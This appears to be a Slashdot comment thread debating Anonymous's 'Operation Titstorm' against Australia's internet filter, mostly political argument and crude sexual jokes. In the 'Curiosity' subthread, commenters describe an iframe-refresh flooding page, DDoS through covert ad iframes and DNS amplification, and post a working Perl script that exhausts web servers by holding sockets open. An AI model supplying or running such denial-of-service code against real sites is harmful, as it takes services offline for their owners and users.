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    16. Re:"tit storm" by Khyber · · Score: 0

      "Really guys, naming your protest after female anatomy does nothing to help the cause. It is immature and reeks of disorganization."

      Ha! Hahahahahahahahahahah! BWAHAHAHAHAHAHAHAHAHAH!!!!!!!!!!!!!!!

      You must be new to the internet. Here, have a cookie, little girl. I promise it's not a malicious one made to redirect your browser to a drive-by hijack site.

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    17. Re:"tit storm" by h4rm0ny · · Score: 4, Insightful

      Really guys, naming your protest after female anatomy does nothing to help the cause. It is immature and reeks of disorganization.

      Why? Seriously, why should it be immature? If there was ever a cause where it was appropriate to use the word tits in your movement, it's this one. One of the best ways to undermine censorship is with humour. This sort of full-frontal, in your face attitude is a good thing. Whereas I think your advocation of invading people's privacy and smearing them for doing legal things is nasty. This law is wrong and I argue against it on those grounds, not by adopting the same tactics as those who oppose me and making the legislative process a battle of who can make the other party look worst. Aside from that, when you use these tactics, you state that you believe these things are indeed bad. If you start leaping up and down pointing at your opponents saying "look - they got wasted, look they browsed porn", then you really undermine your efforts to stop people being judged / condemned for getting wasted or browsing porn, do you not?
      And what would you do if you found proponents of these laws really didn't commit adultery, get wasted in public

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    18. Re:"tit storm" by jack2000 · · Score: 1

      Hey now, both sexes can enjoy a good ol' titstorm!

    19. Re:"tit storm" by Opportunist · · Score: 1

      So? "Parental Advisory" has become a seal of quality for certain music, too.

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    20. Re:"tit storm" by Anonymous Coward · · Score: 0

      Given that part of the outrage is apparently due to a ban on depictions of small-breasted women, I think the title of the protest is entirely appropriate.

    21. Re:"tit storm" by MichaelSmith · · Score: 1

      Almost as good as "Banned in Queensland." Bad Taste, Peter Jackson's first film proudly proclaims this on the case.

      Well, pretty much everything was banned in Queensland in those days...

    22. Re:"tit storm" by Anonymous Coward · · Score: 0

      People opposed to the Republican Party in the U.S.

      Do they call themselves "PORPUS"?

    23. Re:"tit storm" by kaizokuace · · Score: 1

      not just that, what a strange thing to say about known anarchists!

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    24. Re:"tit storm" by Anonymous Coward · · Score: 0

      Not really, the censorship of 'A' cup breasts was massively overstated.
      That's the problem with a largely overseas group butting in to things that don't concern them - they also don't have all the facts.

    25. Re:"tit storm" by Dan541 · · Score: 1

      Really guys, naming your protest after female anatomy does nothing to help the cause. It is immature and reeks of disorganization. There are far better ways to undermine censorship. You have to attack the authority of the censors. Make them appear weak,

      Done!

      useless,

      Done!

      and strip their credibility.

      Done!
       

      Expose them at every corner as being partial,

      Done!
       

      biased, and at the same time abjectly failing to do their jobs.

      Done!

      They are government so this shouldn't be any real kind of challenge now should it?

      I look forward to seeing pictures of these censorship advocates having sex with their mistresses, getting wasted in public, allegations of bribery, and all other unseemly manner of behavior. Because if there's one thing the public can't stand for, it's being prohibited from doing the very things these authority types reserve for themselves. They already believe themselves to be morally superior to you so I ask again -- what real challenge is there here?

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    26. Re:"tit storm" by martas · · Score: 1

      this is a really good idea, especially because of how simple and potentially viral it is. technically you don't even have to limit it to porn - when a government tries to legislate morality verbatim, they will always miss some things, which can be used to further ridicule that approach.

    27. Re:"tit storm" by clarkkent09 · · Score: 4, Funny

      I don't know, banning porn with small tits only seems like common sense. From now on I'm only looking for porn officially approved by the Australian government as featuring girls with sufficiently large tits.

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      Negative moral value of force outweighs the positive value of good intentions.
    28. Re:"tit storm" by BiggerIsBetter · · Score: 5, Informative

      Its actually a reference to our PM's "Shitstorm" comment on national TV a while back - The Australian, or more via google

      And also a reference to Australia's government censoring adult publications and films featuring women with "small breasts" on the grounds that such images encourage pedophilia.

      It's actually quite a clever and catchy name.

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    29. Re:"tit storm" by houghi · · Score: 1

      Really guys, naming your protest after female anatomy does nothing to help the cause.

      By NOT using the name, you would be doing what you are opposing: Censorship. And breaking the privacy of others just to get ahead?
      I should be doing whatever I like in my free time. Wether that is looking at tits or playing with tits is nobodies business.

      I will however also fight for the same rights for those people who are against them. Even politicians with their misteresses and other hypocrites. How could I break that privacy with others if I want to defend it?

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    30. Re:"tit storm" by Anonymous Coward · · Score: 0

      Really guys, naming your protest after female anatomy does nothing to help the cause.

      And DDoS'ing government websites will?

    31. Re:"tit storm" by Anonymous Coward · · Score: 0

      If I had some shop skills, I'd be making an "official seal of approval", with the flag and the leading politicians behind this and some nice big government-approved tits on it.

      Ironically, the only porn "seal of approval" I've seen online has been the pedobear one. Maybe a parody of that would be amusingly appropriate.

    32. Re:"tit storm" by deniable · · Score: 1

      Big Kev says "I'm excited." Oh, that's wrong in so many ways.

    33. Re:"tit storm" by Anonymous Coward · · Score: 0

      The last 10 years or so have, sadly, seen a larger percentage of our government roles filled by "Christians"*. We -were- a much more 'relaxed' country a while back, but that's changing uncomfortably quickly... as this whole censorship crap should plainly show.

      *For clarity, I use this term to mean "People who claim Christianity, yet ignore anything in 'their' tenets which might disallow them to enforce their will on others". Think or 'worship' what you will, just keep your grubby little fingers out of -my- right to do the same.

    34. Re:"tit storm" by c6gunner · · Score: 1

      But considering you are female and a geek

      I dunno about you, but I always thought that the name "girl in training" suggested a pre-op transvestite rather than an actual female ...

    35. Re:"tit storm" by Wanon · · Score: 1

      It is immature and reeks of disorganization.

      What a strange thing to say about a group that originated on 4chan.

      I think you mean originated on eBaum's World...

    36. Re:"tit storm" by T+Murphy · · Score: 1

      This sort of full-frontal, in your face attitude is a good thing.

      I don't know about calling it full-frontal. More like topless.

    37. Re:"tit storm" by Xest · · Score: 1

      "It is immature and reeks of disorganization." ...and yet despite that, as we saw with the Scientology protests, it's one of the few online communities that has got involved in any real political activism, and arguably the largest and most successful in making their voice heard in real life so far.

      So whilst people like yourself will sit here and whinge and infringements of civil liberties and so forth, but not actually act on that, they are actually out there getting involved.

      I'm not exactly a fan of 4chan, and think some of Anonymous' actions have been idiotic, but at least they're doing something to make their point heard rather than just whinging.

    38. Re:"tit storm" by Sumadartson · · Score: 2, Insightful

      I wonder if they've realized this is @#$%@# insulting. How the hell are women with smaller breasts supposed to take this? "Get a boob job, or you'll be stimulating pedophiles!"

    39. Re:"tit storm" by bmajik · · Score: 1

      Is there some agency or executive branch (pardon my Americanism) office that is supposed to be involved with this?

      I am imagining the job description:

      Keep the persons of Her Majesty's Austrailia safe from the deleterious effects of small breasts. Your difficult mission is to scour the visual mediae, carefully scrutinizing same for the size, age, and meritousness of the female mammary glands. You will be paid the handsomely salary of 180,000AUD annually, and receive the full offering of benefits and priviledges accorded to an agent of governance.

      This position is not open to American college students.

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    40. Re:"tit storm" by Anonymous Coward · · Score: 0

      ...what? The USA has some of the lightest censorship laws of any "western" nation in the world. Most countries don't have as vague and ambiguous laws like USA's First Amendment: "Congress shall make no law... abridging the freedom of speech, or of the press;"

      I'm pretty sure people can call a movement "suck-fucking-dicks" as long as their standing on public ground.

      The problem is, many protesters in America "accidentally" or otherwise cross over private land while protesting.

    41. Re:"tit storm" by Asic+Eng · · Score: 4, Insightful
      I wonder if women with A-cups will lose their citizen rights in general, or will they just be banned from having sex? If you are not really an adult woman unless you are well-endowed, then I guess driving, buying alcohol and going to night clubs will be prohibited, too. Of course it wouldn't be a good idea for a man to leave a night club with a small-breasted woman anyway - it would show that he is likely a pedophile, so he'd better be arrested before he damages some child.

      Seriously this is link small-breasts = pedophilia is so insane I don't understand why the proponents' brains don't implode from the pure stupidity of it.

    42. Re:"tit storm" by Anonymous Coward · · Score: 0

      whatevz.

    43. Re:"tit storm" by tmosley · · Score: 1

      It seems to me that adult women with small tits would stimulate pedophiles about as much as a man with his genitalia cut off would stimulate heterosexual men.

      The size of the breasts is far from the only difference between a child and an adult female. To claim otherwise is, well, par for the course for overbearing, intrusive governments.

    44. Re:"tit storm" by access.name · · Score: 1

      I wonder if they've realized this is @#$%@# insulting. How the hell are women with smaller breasts supposed to take this? "Get a boob job, or you'll be stimulating pedophiles!"

      This is really interesting. Women (and note I say women, not children) under 18 years old (or other arbitrary number) are already suffering when men are afraid to date them because they are not legal. I wonder if small breasted women will now be avoided by fearful men, even when they are older?

    45. Re:"tit storm" by Sumadartson · · Score: 1

      It seems to me that adult women with small tits would stimulate pedophiles about as much as a man with his genitalia cut off would stimulate heterosexual men.

      Yup, agreed. The australian government, however, seems to think otherwise.

    46. Re:"tit storm" by Anonymous Coward · · Score: 0

      "You have to attack the authority of the censors. Make them appear weak, useless, and strip their credibility. Expose them at every corner as being partial, biased, and at the same time abjectly failing to do their jobs. They are government so this shouldn't be any real kind of challenge now should it?"

      Except that this is how 99% of politics is already done and I really, really hate that part of politics.

      People are not _neccessarily_ weak just because they oppose you.
      People are not _neccessarily_ partial just because they oppose you.
      People are not _neccessarily_ raving loonies, child rapists or scheming followers of a global satanic movement just because they oppose you.
      People may be acting in line with what they feel are their jobs, and their job specifications may be quite loose.
      And nobody deserves to lose for having personal vices in a society where everyone has personal vices.

      They may simply be strong, independent, having taken a view on their own, but a view of costs and benefits that doesn't rhyme AT ALL with what most people feel is right when they think about it. You can extend that to conclude that they are unsuited to have any form of power if you wish. The role of a protest movement should be to remind people that they have usually valued what they lose even though the politicians try to pitch it as never being valued by anyone, and that what is gained might not be all that much, even though politicians claim it will create Rainbow Land.

      Seriously, this "approach" to politics is the cancer that is killing both trust in politicians, bipartisanship (especially) and my will to live peacefully amongst men.

    47. Re:"tit storm" by TheRaven64 · · Score: 4, Funny

      Seriously this is link small-breasts = pedophilia is so insane I don't understand why the proponents' brains don't implode from the pure stupidity of it.

      Interestingly, politicians' skulls are several millimetre thicker than the normal human average to prevent implosion caused by the differential in pressure between the air outside and the vacuum inside. This extra thickness also serves as a protective measure, preventing good ideas from entering and causing unnecessary stress. This adaptation should really get more study. If you'd like to participate, please dissect the nearest politician and send in your results.

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    48. Re:"tit storm" by PCM2 · · Score: 1

      I think you mean originated on eBaum's World...

      Someone else will have to tell you that Anonymous didn't originate on eBaum's World, because I see what you did there, you little sneak, you.

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    49. Re:"tit storm" by NotBornYesterday · · Score: 1

      People opposed to the Republican Party

      Actually, the Repubs are only half the story. Dems are just as corrupt and sleazy.

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    50. Re:"tit storm" by Yosho-sama · · Score: 1

      No, but they should be.

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    51. Re:"tit storm" by NotBornYesterday · · Score: 1

      Really guys, naming your protest after female anatomy does nothing to help the cause.

      Why not? What's wrong with tits? They're fabulous.

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    52. Re:"tit storm" by Yosho-sama · · Score: 1

      Can't deny that, but they also have a much fewer instances of being caught cheating, political corruption, lawbreaking, homosexuality, (not saying homosexuality is bad, but when you're the party rallying against gay marriage, it is two-faced) etc. etc.

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    53. Re:"tit storm" by NotBornYesterday · · Score: 1

      I'd disagree on the imbalance. Go back to the 80's and look at ABSCAM. 4 Dems convicted, 1 Repub. Only 1 guy I know of reported the illegal activity to the authorities - a Repub. Behind the scenes, congresscritters scrambled to protect their own. Tip O'Neil (Dem) instructed Charlie Wilson (Dem) to help John Murtha (Dem) out of an ethics jam. Murtha had almost taken the money, but smelled a rat at the last minute, and backed out. He saved himself from a conviction, but still got snared in a House ethics investigation. By rights, he should have been in trouble. But his cronies bailed him out, and he went on to continue being a corrupt public official for the next three decades.

      More recently, there is that Jefferson guy from Louisiana, Blago from Illinois, and of course that guy Burris that Blago shoehorned into the Senate. Everyone knows that Burris is dirty - I don't know how he escaped the ethics investigation with his political skin intact.

      Not picking on Dems, just pointing out that there are lots of dirty ones. The gay hypocrisy thing bothers me, though. Always thought it was ironic that Larry Craig was one of the worst ones persecuting Barney Frank.

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    54. Re:"tit storm" by DavidTC · · Score: 1

      Suddenly I'm imagining one of those 'facial recognizance' system that only exist in Hollywood, where you see a computer overlay an outline over someone else's face, creates a wireframe, rotates it, colors it in, and magically starts sorting through faces on the side trying to find the right one.

      Except this one does it just for boobs, and prints the size of them, perhaps with some comment like 'perky'. Perhaps, on the side, it attempts to find a lowcut outfit said boobs would look good in, or the right push-up bra.

      Occasionally, it accidentally locates some manboobs and then shows an error message and crashes.

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    55. Re:"tit storm" by Korin43 · · Score: 1

      ..a largely overseas group butting in to things that don't concern them..

      Uh, the plan is to also block 4chan, which I assume does concern them. Possibly more than the loss of golden shower porn.

    56. Re:"tit storm" by Anonymous Coward · · Score: 0

      Not that it helps much these days. I dated a gal I met in college that was in the large grapefruit-pomelo range and she was carded on our second date.

      2 months shy of 17! Turned out she finished highschool at 16 and her mom had bought her implants trying to sway her in a custody battle. She seemed nice enough that I might have waited(I'm on /., not like I got around much), but that discussion ended up bringing out all her weird family shit into the light too soon and she took the next semester off to go back to therapy.

      Now I date hospital workers. All the underage volunteers wear different outfits than the real staff, its safer.

    57. Re:"tit storm" by Hurricane78 · · Score: 1

      Pff, moderators lost their humor again. Why are people always so angry in here? Lack of titstorms? ;)

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    58. Re:"tit storm" by Atanamis · · Score: 1

      You have no idea how politics works. People opposed to the Republican Party in the U.S. have been doing that for 10 years, however that only works if your opponents have shame, which people in politics typically lack.

      That's at least in part because both sides are doing the same thing. Democrats in the US now run the Congress and the Presidency, and do you see any shame from them about being "partial, biased, and at the same time abjectly failing to do their jobs"? Too many voters will vote a party ticket no matter what is being done by their party, and neither party can be trusted to do what they say they will do. I'd like to see some debates held before a grand jury so that outright lies by the politicians could have legal consequences. Both parties do it constantly, and so long as deception carries no consequences they will continue to do so.

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    59. Re:"tit storm" by Lunzo · · Score: 1

      I agree that trying to show politicians "misbehaving" is counter-productive. Kevin Rudd got drunk and went to a strip club not long before he became PM. It hasn't hurt his career and if anything gave him a slight boost in the polls when that revelation came out.

    60. Re:"tit storm" by Anonymous Coward · · Score: 0

      More importantly, I want to be on the commission responsible for certifying tit sizes.

    61. Re:"tit storm" by bertoelcon · · Score: 1

      Will they supply those FBI (Female Breast Inspector) shirts?

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    62. Re:"tit storm" by kalirion · · Score: 1

      It seems to me that adult women with small tits would stimulate pedophiles about as much as a man with his genitalia cut off would stimulate heterosexual men.

      Get with the program here - unless said man's a fatty with manboobage going on, he's only going to stimulate heterosexual pedophiles.

  5. 5/5 Male slashdotters agree... by arrbeeehh · · Score: 1

    They thought breasts would be here and were mislead by the topic! Shame on you slashdot

  6. The problem with headless organizations by Anonymous Coward · · Score: 0, Insightful

    As you can see, the problem with headless organizations such as Anonymous, or the Tea-Baggers is that, without some sort of filter at the top to weed out the stupid ideas, pretty much anything can be espoused as being a 'core ideal' of the group.

    While censorship is bad.. Operation Titstorm? Whatever 15 year old came up with that is likely not the coalesced summation of ideals that Anonymous was created for.

    1. Re:The problem with headless organizations by happyslayer · · Score: 0, Troll

      On the other hand, as BadAnalogyGuy proposed, if Anonymous really are "college-age basement dwellers who type out their screeds in between trips to the minifridge to get more Cheetos", then this would be exactly the kind of ideal they could get behind! :-P

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    2. Re:The problem with headless organizations by Anonymous Coward · · Score: 5, Informative

      It is named Operation Titstorm due to the Government adding liking small breasted women = pedophile like activity and therefore illegal to the filter plans. They also added nylon fetishes because of it being a fetish and female ejaculation "because it is a myth". These are the type people in control of the filter.

    3. Re:The problem with headless organizations by Anonymous Coward · · Score: 0

      this is all utterly wrong.

      References please - the original articles about female ejaculation and small breasts have already been debunked as sensationalist conclusion jumping.

    4. Re:The problem with headless organizations by PenisLands · · Score: 1

      Where are your references?

  7. Re:viva revolutsion! by BadAnalogyGuy · · Score: 5, Insightful

    I assume you are American.

    When protesters in the Middle East rant and rave outside the gates of the US Embassy in their country, do you think our government's policy is changed as a result?

    By protesting outside Australian consulates (!) what do you hope to gain? Is this an effective form of redress?

  8. Sounds good.... by Fotograf · · Score: 1

    will take whatever they are selling

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  9. Re:viva revolutsion! by Fotograf · · Score: 1

    it is one step better then to do nothing

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  10. Re:Tits or not, no one listens to protestors by Anonymous Coward · · Score: 0

    You don't seem to know who anonymous are.

  11. 5 days? Who set this up, EFG? by bersl2 · · Score: 0

    This operation has set sail for fail. Not nearly enough time to get enough people involved.

    I think it's at least worth a shot, but Feb. 20 is way too soon if you go by the various forums reached by following the links.

    1. Re:5 days? Who set this up, EFG? by symbolset · · Score: 1

      Not really. Five days is forever in this group.

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  12. Hurricanes of tits by macraig · · Score: 0, Troll

    Oh, I wish "tit storm" meant what my dirty masculine mind wants to think it means, and that the storm would wind its way through my town in the USA....

    1. Re:Hurricanes of tits by martas · · Score: 1

      IMHO it would be an extremely traumatic experience, one that would scar me (and many others, particularly teenagers and children) for life.

  13. Re:viva revolutsion! by BadAnalogyGuy · · Score: 1

    Many people drown because they thought they should "do something" rather than lie still and float.

  14. Nice Try by Legion303 · · Score: 1, Insightful

    "Hacker group"

    Nope.

  15. Re:Tits or not, no one listens to protestors by bersl2 · · Score: 1

    No, I think he knows who Anon is. It's just that he doesn't think that threatening the things they feed upon will get them riled up enough to leave the basement.

  16. Re:Tits or not, no one listens to protestors by martas · · Score: 4, Funny

    wow, you managed to depict members of an internet-based group as "losers". how incredibly imaginative of you. now how about you shut the fuck up until you have some real criticism against them?

  17. Re:'Anonymous' another way of saying 'the people'? by Anonymous Coward · · Score: 0

    Says the user called "noidentity" =D

  18. Re:Tits or not, no one listens to protestors by HamSammy · · Score: 3, Funny

    trips to the minifridge to get more Cheetos.

    Introducing new, Cheetos Pops®! An icy, cheesy taste explosion that will be stuck to your fingers, faces, and family members for days! Find them in the freezer aisle at your local grocery store today!

    WARNING: This product contains chemicals known to the State of California to cause awesome, birth superpowers, or other reproductive boons. Never wash hands after handling.

  19. Attention Span. by headkase · · Score: 0, Troll

    So many people are completely insulated in what they want to believe (i.e. the sites they choose to go to) that the real enemy isn't what is right or wrong in what is happening. The real enemy is getting attention to your cause at the correct time. Anonymous is a major threat to all governments, they have the potential through their own "brand recognition" to bring enough eyeballs to a topic at the exact correct time that enough of them will stick and actually make some, no matter how minor, difference. This is a threat, it must be stopped or corporatism will fail. ;)

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  20. Re:viva revolutsion! by Demonoid-Penguin · · Score: 2, Insightful

    Many people drown because they thought they should "do something" rather than lie still and float.

    What? Like... swim??

  21. Re:Tits or not, no one listens to protestors by Anonymous Coward · · Score: 1, Funny

    "Many of our number (Anonymous) are productive, intelligent members of society," said Infinite, who is a Web designer.

    But most of them are college-age basement dwellers who type out their screeds in between trips to the minifridge to get more Cheetos.

    Who the hell keeps Cheetos in a minifridge?

  22. Well Then... by HamSammy · · Score: 4, Insightful

    If censorship is what our government overlords have decided is best for us, clearly we are in need of a new democracy. Too bad our new democracy is run by Anonymous.

    1. Re:Well Then... by Opportunist · · Score: 2, Interesting

      Dunno if it's that much worse than the crap we have to deal with now in government. Mob rule is mob rule. One is participatory, one is representative, but at the end of the day, what's happening is what the majority hoots for.

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    2. Re:Well Then... by Nathrael · · Score: 2, Informative

      Just remember, in Iran, the majority supports having a death penalty for homosexuals as well...

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    3. Re:Well Then... by Anonymous Coward · · Score: 0

      At least someone's running it.

    4. Re:Well Then... by Anonymous Coward · · Score: 1, Interesting

      making it TRULY a government of the people. . . As an Anonymous Coward, I welcome this opportunity to welcome my new Anonymous overlords.

  23. Re:'Anonymous' another way of saying 'the people'? by nine-times · · Score: 5, Informative

    Well I think it's the protestors who are taking on the mantle of "Anonymous", not the press who are attributing it to them. The press largely doesn't understand what the deal is with "Anonymous", but then a lot of the press is never really digs into these things.

    Also, it's true that "the people" don't do anything as a whole. You get some subset working on something, and even if they're very poorly organized, it helps you have a term for them so you can reference them easily.

    I thought part of the reason people liked claiming to be part of "Anonymous" was that the press didn't understand what the hell was going on. Basically anyone can validly claim to be "Anonymous" so long as they're... you know... anonymous... and the press will suddenly act like that person is the head of a powerful hacker terrorist crime syndicate.

  24. IRC by Emperor+Tiberius · · Score: 5, Interesting

    Their ad brings even more negative attention to poor ol' IRC...

    1. Re:IRC by headkase · · Score: 1

      Thank you for pointing out the obvious of where I should go.

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  25. Re:Tits or not, no one listens to protestors by h4rm0ny · · Score: 4, Insightful


    Being college-aged is a negative quality, now? Historically, students have been some of the most vocal in protecting our rights. If your point is that people of this age have less influence on society than older people, well I'd say that young people today are the adults of tomorrow and I'd sooner see college-age people protesting and hopefully retaining those attitudes and sympathies as they get older, than not see them protesting.

    As regards basement-dwelling and eating cheetos, well you have no idea where they're living or what they're eating. Neither, by the way, did I realise affects your political activism.

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  26. Curiosity by mcrbids · · Score: 5, Interesting

    So, I became curious when I read about this DDOS on the Australian websites. I wondered: how hard would it be to write a simple, DDOS tool? Something that didn't require anything fancy, that anybody could do without installing anything special?

    So, I wrote something, and tested it on my own local webserver. Surprisingly, it took me less than 10 minutes to write a simple javascript webpage with iframes that generated in excess of a million hits an hour in about 20 lines of HTML + javascript, armed with nothing more than a browser and notepad. I didn't even have to host it; the file was saved locally on my HDD!

    The method was simple: a webpage with a bunch of iframes that sourced the target, and a javascript onload that refreshed the page. How could it get any simpler? My conclusion? A DDOS attack is the digital equivalent of peasants throwing rocks. Anybody can do it. It requires nothing. It's still a rather effective form of attack!

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    1. Re:Curiosity by Lehk228 · · Score: 1

      i could do the same thing with a frameset file (about 1000 frames) and F5. it would take me about 3 minutes to make.

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    2. Re:Curiosity by Anonymous Coward · · Score: 0

      Waiting for "I could do that hack in two minutes..."

    3. Re:Curiosity by Anonymous Coward · · Score: 0

      How did you implement the first "D" ?

    4. Re:Curiosity by jack2000 · · Score: 1

      Actually there are automated "vampire leech" scripts that "rape" bandwidth, you just open a page like that a few times and it automatically loads images ( usually the beefiest ) from the target websiteand continue to spawn iframes, you get enough of these going and enough people to do it and it gets quite scary.

    5. Re:Curiosity by Homburg · · Score: 2, Insightful

      I remember a group of internet anarchists set up something very much along these lines to coincide with the WTO protests in Seattle back in 1999. They made a good point which I think goes along with your idea that this is "digital equivalent of peasants throwing rocks." Like peasants throwing rocks this kind of simple DDOS can only work if it has the participation of a fairly large number of people. It's very much the internet equivalent of classic protest tactics like picket lines or sit-ins.

    6. Re:Curiosity by Anonymous Coward · · Score: 2, Insightful

      yea except you're a n00b
      considering your HTML + javascript attack comes from 1 ip address
      the result being you're a quick and simple ip ban
      meanwhile you've got no idea your script is no longer working

      sure you could get a bunch of friend to also run the script
      but unless you've got 1,000+ friends it's not going to help
      plus you need a sparse range of ip addresses to run it on

      there's a reason for the extra 'D' at the front of DDoS

    7. Re:Curiosity by ZirconCode · · Score: 1

      Creating the program/script is not the difficult part. You see, the extra D in front of DOS stands for distributed, meaning more than one computer attacks at once, making it a lot more efficient. It takes a lot of skill to organize the people or create a bot net of good size.

      Of course your metaphor still holds tight, but remember, a thousand peasants throwing rocks hurts a lot more.

    8. Re:Curiosity by martas · · Score: 1

      i could do that in two minutes

    9. Re:Curiosity by club · · Score: 1

      Purely for educational purposes, have some Perl: This isn't mine, it was posted to a different Slashdot topic a while back. I have an adapted Perl version and I ported it to Python but I can't ignore the niggly voice in my head telling me not to post them :/ use IO::Socket::INET; use strict; use constant DEFAULT_PORT => "http"; MAIN: { if(@ARGV2) { die "Usage: $0 host [port]\n"; } my($host)=shift; my($port)=@ARGV?shift:DEFAULT_PORT; my(@sockets); for(my $cnt=0;$cnt$host, PeerPort=>$port, Proto=>"tcp"); unless(defined($socket)) { die "Cannot create socket to $host:$port--$!\n"; } $socket->print("\r\n"); push(@sockets,$socket); print " Have ".@sockets." open.\n"; } } Continously opens sockets to the webserver without closing them. Which brings down most websites on Apache with a default configuration, provided they don't have a cache (like varnishd) in front of the web-server.

    10. Re:Curiosity by club · · Score: 1
      Lets try that again, this time with line breaks.

      use IO::Socket::INET;
      use strict;
      use constant DEFAULT_PORT => "http";

      MAIN: {
      if(@ARGV<1 or @ARGV>2) {
      die "Usage: $0 host [port]\n";
      }
      my($host)=shift;
      my($port)=@ARGV?shift:DEFAULT_PORT;

      my(@sockets);

      for(my $cnt=0;$cnt<1000;++$cnt) {
      my $socket=new IO::Socket::INET(PeerAddr=>$host,
      PeerPort=>$port,
      Proto=>"tcp");
      unless(defined($socket)) {
      die "Cannot create socket to $host:$port--$!\n";
      }
      $socket->print("\r\n");
      push(@sockets,$socket);
      print " Have ".@sockets." open.\n";
      }
      }

    11. Re:Curiosity by martas · · Score: 1

      if you're willing to spend some money, there are plenty of websites out there that host ads in iframes - just pay for a phony ad nobody would notice (e.g. "shawvinnist Men's baldening cream"), and voila! you've got yourself a ddos, and the participants have no idea what they're doing (which is usually what you want with ddoses, of course). throwing in a few quiet, tiny popups could further increase the amount of time each browser participates on average.

    12. Re:Curiosity by Bottles · · Score: 0

      I could do it in fifteen seconds, blindfolded, with a team of angry sherpas throwing rocks at me, whilst three men shouting abuse right next to my ear and the Sergeant emptied a full magazine just over my head on full auto.

      Nude.

    13. Re:Curiosity by Anonymous Coward · · Score: 0

      How could it get any simpler?

      1) Design simple DDoS HTML page
      2) ???
      3) Successful DDoS

      You need to work out how to get the masses to run your HTML file.

    14. Re:Curiosity by Anonymous Coward · · Score: 0

      Owned.

    15. Re:Curiosity by Anonymous Coward · · Score: 0

      The trouble comes when they try to get out from under your DoS attack. It's relatively easy to stop all traffic requests from one person, and possible to try and profile the sorts of requests you can safely ignore (for example, nobody needs to load your page 100 times a minute). Avoiding such things while also pulling off your DoS does take some skill beyond your idea - though I honestly don't know how much more that is.

    16. Re:Curiosity by Anonymous Coward · · Score: 0

      You do know how a DDOS is supposed to work, right? Hitting F5 is not going to cut it, ever!

    17. Re:Curiosity by Anonymous Coward · · Score: 0

      What is distributed about it?

    18. Re:Curiosity by SharpFang · · Score: 1

      You lack the first D for a real DDoS.
      Thing is DDoS uses multiple source hosts without their owners' consent. I don't think 1000 people launching your script on your request counts as real DDoS.

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    19. Re:Curiosity by hitchhacker · · Score: 1

      I'd imagine it is more effective to attack their web server than their bandwidth. The more connections the better, and don't close them.. let the web server timeout on each.

      -metric

    20. Re:Curiosity by Anonymous Coward · · Score: 0

      You're missing the first D in DDOS.
      But yes, it is fairly easy.

      For a truly effective *D*DOS you have to either rally tens of thousands of people, more than can be efficiently blocked at the firewalls, or else have a medium size botnet.

    21. Re:Curiosity by hitchhacker · · Score: 2, Insightful

      but unless you've got 1,000+ friends it's not going to help plus you need a sparse range of ip addresses to run it on

      This is where 4chan comes into the picture.

      -metric

    22. Re:Curiosity by jack2000 · · Score: 1

      That's ineffective if connections are managed on cue, all of your time out connections amount to a single thread idling at .5% of the system's capacity. Ms' servers do that, also if you configure Apache correctly something very similar happens.

    23. Re:Curiosity by Domint · · Score: 2, Insightful

      Thing is DDoS uses multiple source hosts without their owners' consent

      (Don't mind me, just going to pick a few nits)
      In a lot of DDoS attacks, this is true - but not a requirement for it to be a DDoS attack. The only thing required for it to be a DDoS attack is that the traffic comes from multiple sources simultaneously. Who's to say whether or not each host is knowingly participating?

    24. Re:Curiosity by TheRaven64 · · Score: 1

      Depends on what you are doing. For example, if you spoof the origin address on a DNS packet then the DNS server will send the reply to the spoofed address. With things like DNSSEC, the reply can be two or three orders of magnitude bigger than the request. If you have a 1Mb/s line, you can easily generate enough DNS traffic to flood a 100Mb/s line and enough to flood a 1Gb/s line if you pick the right servers to bounce your requests off. I think most DNS servers these days will limit the amount of data that they'll send to any given IP to try to mitigate this, but you can send DNS requests to a few million different DNS servers and get a similar effect. Hopefully your ISP will drop packets with a forged origin address, but not all do.

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    25. Re:Curiosity by Anonymous Coward · · Score: 0

      The 'distributed' part is the interesting and hard part of the problem. It's necessary because filtering out one bad client is roughly as easy as your experience with becoming one bad client was.

    26. Re:Curiosity by Anonymous Coward · · Score: 0

      4chan is not your personal army

    27. Re:Curiosity by ShakaUVM · · Score: 1

      >>Actually there are automated "vampire leech" scripts that "rape" bandwidth

      The irony is that the titstorming Aussies actually have to pay for bandwidth to the states. So they end up paying money to their ISP in order to DDOS the government.

      Or did years ago. I dunno if they still have bandwidth caps nowadays.

    28. Re:Curiosity by Hertzyscowicz · · Score: 1

      Here's an interesting question; what is the highest rate a private person can refresh a website in? Just set the code to refresh the page at that rate and get your friends together, and voilá, a technically legal DDOS. Better yet, release your own version of Lynx or something that comes with an "auto refresh every N seconds" function.

  27. Re:viva revolutsion! by deniable · · Score: 1

    Consulates are often small parts of much larger buildings. Who's going to even know what they're protesting about?

  28. "members of Anonymous" by Anonymous Coward · · Score: 1, Interesting

    Why do I keep seeing this word "member". Anonymous has no "members", it's not some organization you join. The fact that I'm posting AC means I'm a "member" of anonymous.

    1. Re:"members of Anonymous" by Dunbal · · Score: 5, Funny

      Well in South Carolina you would have to register before conducting your subversive activities. That takes care of THAT...

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    2. Re:"members of Anonymous" by Carewolf · · Score: 1

      Well in South Carolina you would have to register before conducting your subversive activities. That takes care of THAT...

      Anonymous already registered last week, but then Anonymous registered and the two registrations canceled each other out.

    3. Re:"members of Anonymous" by thePowerOfGrayskull · · Score: 1

      Why do I keep seeing this word "member". Anonymous has no "members", it's not some organization you join. The fact that I'm posting AC means I'm a "member" of anonymous.

      Me too!

      Oh, shit.

    4. Re:"members of Anonymous" by AcidLacedPenguiN · · Score: 1

      inb4 thousands of David D. Davidsons on the registration list.

      --
      disclaimer: I've been known to store numbers in my ass for which to dig out when quantities are required.
  29. Re:'Anonymous' another way of saying 'the people'? by Trepidity · · Score: 1

    It is kind of interesting that they're managing to get media attention for it, which is one of the major goals of protests. Even when it's a repackaging of traditional protest techniques, they seem to be relatively good at PR-managing it, in comparison to more traditional protest groups. Partly, this seems to be because they're: 1) somewhat more theatrical; and 2) more single-issue, so the anti-Scientology or anti-censorship protest isn't diluted by a parade of the usual suspects with off-topic preaching of veganism, 9/11 conspiracy theories, antiglobalization, and such.

  30. Re:viva revolutsion! by Anonymous Coward · · Score: 0

    Many people drown because they thought they should "do something" rather than lie still and float.

    What? Like... swim??

    His point exactly, genius.

  31. Will be interesting, but... by commlinx · · Score: 4, Interesting

    Being an Australian I can tell you most Australians are apathetic to this issue and there likely won't be a huge turn-out. There probably won't be anything but fleeting mass media coverage, and that means politicians will ignore it and side with the "think of the children" majority who have no idea of the underlying implications.

    If there was an upcoming election the issue *might* hit the media if the opposition declared a policy of no filtering and hightlighted all the negative aspects. But given the previous liberal government floated around similar ideas I wouldn't hold my breath on that, I think the position of both the major political parties is unfortunately much the same.

